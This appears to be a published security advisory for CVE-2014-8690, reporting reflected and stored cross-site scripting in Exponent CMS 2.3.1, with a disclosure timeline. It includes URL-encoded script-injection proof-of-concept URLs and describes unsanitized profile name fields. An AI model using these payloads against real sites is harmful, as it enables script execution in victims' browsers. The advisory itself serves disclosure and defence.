48 lines
No EOL
1.9 KiB
Text
48 lines
No EOL
1.9 KiB
Text
######################
|
|
# Exploit Title: Multiple Exponent CMS Cross-Site Scripting Vulnerabilies
|
|
# Discovered by-
|
|
# Mayuresh Dani (mdani@qualys.com)
|
|
# Narendra Shinde (nshinde@qualys.com)
|
|
# Vendor Homepage: http://www.exponentcms.org/
|
|
# Software Link:
|
|
http://sourceforge.net/projects/exponentcms/files/exponent-2.3.1.zip/download
|
|
# Version: 2.3.1
|
|
# Date: 2014-10-11
|
|
# Tested on: Windows 7 / Mozilla Firefox
|
|
# Ubuntu 14.04 / Mozilla Firefox
|
|
# CVE: CVE-2014-8690
|
|
######################
|
|
# Vulnerability Disclosure Timeline:
|
|
# 2014-11-04: Discovered vulnerability
|
|
# 2014-11-04: Vendor Notification
|
|
# 2014-11-05: Vendor confirmation
|
|
# 2014-11-06: Vendor fixes Universal XSS -
|
|
http://www.exponentcms.org/news/security-patch-released-for-v2-1-4-v2-2-3-and-v2-3-0
|
|
# 2015-02-12: Public Disclosure
|
|
######################
|
|
# Description
|
|
# Exponent CMS is a free, open source, open standards modular enterprise
|
|
software framework and content management system (CMS) written in the PHP.
|
|
#
|
|
# CVE-2014-8690:
|
|
# Universal XSS - Exponent CMS builds the canonical path field from an
|
|
unsanitized URL, which can be used to execute arbitrary scripts.
|
|
# Examples:
|
|
#
|
|
http://server/news/show/title/time-for-a-heavy-harvest-new-release/src/%22%3E%3Cscript%3Ealert%287%29%3C/script%3E@random4cd201e063d5c
|
|
#
|
|
http://server/news/show/title/%22%3E%3Cscript%3Ealert%287%29%3C/script%3Etime-for-a-heavy-harvest-new-release/src/@random4cd201e063d5c
|
|
#
|
|
http://server/news/%22%3E%3Cscript%3Ealert%287%29%3C/script%3Eshow/title/time-for-a-heavy-harvest-new-release/src/@random4cd201e063d5c
|
|
#
|
|
# 2.b. XSS in user profiles.
|
|
# The "First Name" and "Last Name" fields on
|
|
http://server/exponent/users/edituser are not sufficiently sanitized. Enter
|
|
your favourite script and the application will execute it everytime for you.
|
|
#
|
|
# More information and PoCs -
|
|
http://exponentcms.lighthouseapp.com/projects/61783/tickets/1230-universal-cross-site-scripting-in-exponent-cms-231-and-prior
|
|
#
|
|
#
|
|
# Thanks,
|
|
# Mayuresh & Narendra |